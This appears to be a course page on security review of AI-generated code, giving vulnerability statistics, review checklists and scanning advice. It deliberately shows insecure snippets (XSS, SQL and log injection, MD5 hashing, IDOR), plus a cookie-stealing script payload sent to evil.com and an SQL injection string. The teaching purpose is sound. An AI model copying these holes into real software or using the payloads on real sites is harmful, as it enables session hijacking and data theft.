Applied Intelligence
Module 5: Output Validation and Iteration

Security Review Considerations

The numbers are worse than the average suggests

The previous page established that security issues appear at 1.57x the human rate in AI code. That number hides a lot. Some vulnerability categories fail almost completely; others perform reasonably well. The pattern tells you something uncomfortable about how agents think or don't think about adversarial inputs.

Veracode's 2025 analysis tested over 100 language models across 80 security-critical coding tasks in Java, Python, C#, and JavaScript.

XSS prevention fails in 86% of relevant code samples. Log injection prevention fails in 88%. SQL injection prevention fails in 20%.

These aren't random. SQL injection is a solved problem in most modern tutorials parameterized queries are everywhere in training data. XSS and log injection? The secure patterns exist, but they're drowned out by decades of examples that skip them entirely.

XSS is the big one

Cross-site scripting hits an 86% failure rate meaning only 14% of AI-generated code correctly prevents it. There's a reason for this.

XSS prevention requires context-dependent encoding. The same user input needs different escaping depending on where it lands: HTML body, HTML attribute, JavaScript string, URL parameter, CSS value. Each context demands a different defense. Agents don't track this.

// AI-generated code vulnerable to XSS
function renderUserProfile(user) {
    document.getElementById('name').innerHTML = user.name;
    document.getElementById('bio').innerHTML = user.bio;
    // User-controlled content inserted directly into DOM
    // No sanitization, no encoding, no content security policy
}

The agent completed the prompt. It rendered the profile. An attacker submitting <script>document.location='https://evil.com/steal?c='+document.cookie</script> as their bio now owns every visitor's session.

Here's the core problem: agents optimize for the stated requirement render user data not the unstated one prevent script injection from user data. Training data contains far more examples of "display user content" than "display user content safely with context-appropriate encoding."

CodeRabbit found AI code is 2.74x more likely to introduce XSS vulnerabilities than human code. That's not a small difference. It's a category where AI assistance actively increases security risk.

The other injection vulnerabilities

Log injection fails even worse than XSS at 88%. This one seems obscure until you understand what attackers can do with it: forge log entries, corrupt monitoring, and sometimes escalate to remote code execution through log processing pipelines.

# AI-generated code vulnerable to log injection
import logging

def log_user_action(username, action):
    logging.info(f"User {username} performed {action}")
    # Attacker input: username = "admin\n[CRITICAL] System compromised by"
    # Log now shows fake critical alert appearing to come from system

The agent treated logging as output, not as a security boundary. Most example code treats logging the same way as incidental rather than security-critical.

SQL injection performs better at 80% secure. Parameterized queries dominate modern training data. But one in five AI-generated database queries is still injectable.

# AI-generated code: 20% of SQL handling looks like this
def get_user(username):
    query = f"SELECT * FROM users WHERE username = '{username}'"
    return db.execute(query)
# Attacker input: ' OR '1'='1
# Returns all users instead of one

The agent pattern-matched against older examples. Tutorials and legacy code often demonstrate string concatenation. The parameterized version exists in training data too but the model doesn't recognize one as secure and one as vulnerable. Both are just "working code for database queries."

Java is the riskiest language

Java shows a 72% security failure rate. Only 28.5% of AI-generated Java code passed security evaluation.

This matters because Java dominates enterprise backend systems exactly the code handling sensitive data, authentication, and business logic. The explanation is the same as before: Java's long history means decades of insecure examples exist alongside modern secure patterns. The model learns both without distinguishing between them.

// AI-generated Java with multiple security issues
public class UserService {
    public boolean authenticate(String user, String pass) {
        String query = "SELECT * FROM users WHERE username='"
            + user + "' AND password='" + pass + "'";
        ResultSet rs = connection.createStatement().executeQuery(query);
        return rs.next();
    }
}
// SQL injection, plaintext password comparison, no rate limiting,
// no account lockout, no logging of failed attempts

Python, JavaScript, and C# cluster around 55-62% secure still failing roughly four in ten security-critical tasks, but better than Java.

For review purposes: allocate more scrutiny to Java code generated by AI, particularly authentication, authorization, and data access layers.

Beyond OWASP basics

Improper password handling appears 1.88x more often in AI code than human code. Agents generate authentication flows that store passwords in plaintext, use weak hashing algorithms, or skip salting entirely.

# AI-generated password handling
import hashlib

def create_user(username, password):
    password_hash = hashlib.md5(password.encode()).hexdigest()
    db.insert_user(username, password_hash)
# MD5 is cryptographically broken
# No salt means rainbow table attacks succeed instantly
# Should use bcrypt, argon2, or scrypt with per-user salt

Insecure direct object references appear 1.91x more often. Agents generate API endpoints that accept user IDs directly without verifying the requester has access to that user's data.

# AI-generated API endpoint with insecure direct object reference
@app.route('/api/user/<user_id>/data')
def get_user_data(user_id):
    return db.get_user_data(user_id)
# Any authenticated user can access any other user's data
# by guessing or incrementing user_id values

Insecure deserialization appears 1.82x more often. Agents use pickle, yaml.load, or other unsafe deserialization on untrusted input.

All these patterns share a cause: the agent optimizes for functionality ("accept user ID, return data") without modeling the adversarial scenario ("accept user ID, verify authorization, then return data").

Security prompts help, but not enough

Explicit security instructions improve things just not as much as you'd hope.

Claude Code generates secure code 56% of the time without prompting. With explicit security guidance in the prompt, this rises to 69%.

A 13 percentage-point improvement matters. But 31% insecure code even with security prompting means you can't trust prompts alone.

Wiz Research found that adding "secure" to prompts reduces vulnerability density by 28-43%. Using a persona prompt like "You are a developer who is very security-aware and avoids weaknesses in the code" reduces vulnerable code by 47-56%.

Put these techniques in CLAUDE.md and prompt templates. Just don't mistake them for substitutes for actual review.

A security review checklist for AI code

Security review of AI-generated code requires verification that things are present, not just that nothing is obviously wrong. The agent won't add what you don't ask for and may not add what you do.

Input handling:

  • All user inputs validated at the boundary
  • Parameterized queries for all database operations
  • Context-appropriate output encoding (HTML, JavaScript, URL, CSS)
  • No use of eval(), exec(), or equivalent dynamic execution
  • File paths validated against path traversal
  • Command execution uses safe APIs without shell interpolation

Authentication and authorization:

  • Every endpoint checks authentication
  • Every data access checks authorization against the requesting user
  • Passwords hashed with bcrypt, argon2, or scrypt
  • Session tokens generated with cryptographic randomness
  • Rate limiting on authentication endpoints
  • Account lockout after failed attempts

Secrets and configuration:

  • No hardcoded credentials, API keys, or tokens
  • Secrets loaded from environment variables or secrets managers
  • Connection strings parameterized, not embedded
  • Error messages don't leak internal details

Data handling:

  • No unsafe deserialization of user input
  • Logging sanitizes user-controlled content
  • Sensitive data encrypted at rest and in transit
  • PII handling complies with retention policies

Each item on this list is something AI-generated code fails to include at measurable rates. Review assumes the agent didn't add it. Verification confirms or catches the gap.

Review focus by code category

Not all AI-generated code requires equal security scrutiny. Allocate review time based on risk.

High scrutiny (verify every item):

  • Authentication and session management
  • Authorization and access control
  • Payment and financial processing
  • Personal data handling
  • API endpoints accepting external input
  • Database queries and data access layers
  • File upload and processing
  • Cryptographic operations

Standard scrutiny (spot-check with automation):

  • Internal service-to-service communication
  • Business logic without external input
  • Reporting and analytics code
  • Administrative interfaces (still authenticated)

Lower scrutiny (automated scanning sufficient):

  • Static content rendering
  • Configuration loading from trusted sources
  • Test code and fixtures
  • Documentation generation

This hierarchy doesn't mean some code gets no review. It means human attention concentrates where AI failure rates are highest and impact is greatest.

Integrating security tooling

Static analysis catches what humans miss. AI-generated code should pass through SAST (Static Application Security Testing) before merge.

Configure security scanning to flag:

  • SQL string concatenation patterns
  • Direct DOM manipulation without sanitization
  • Hardcoded secrets and credentials
  • Unsafe deserialization calls
  • Missing authorization decorators
  • Deprecated cryptographic functions

Tools like Snyk, Veracode, and GitHub's CodeQL provide AI-specific detection rules. But Snyk's research found only 10% of developers scan most AI-generated code. The tooling exists. Adoption doesn't.

Dependency scanning matters equally. AI suggests packages that may not exist (hallucination), may contain known vulnerabilities, or may be typosquatting malicious packages. Every dependency added by AI code needs verification before installation.

The security responsibility shift

Agent-generated code inverts the traditional security model.

Human-written code starts from developer intent; security reviewers look for mistakes and oversights. AI-generated code starts from pattern matching; security reviewers verify the patterns matched include security considerations.

The reviewer's question changes from "Did the developer make a mistake?" to "Did the agent include security at all?"

Assume it didn't. Verify it did. That stance skeptical by default catches the failures that AI introduces at 1.57x the human rate.

On this page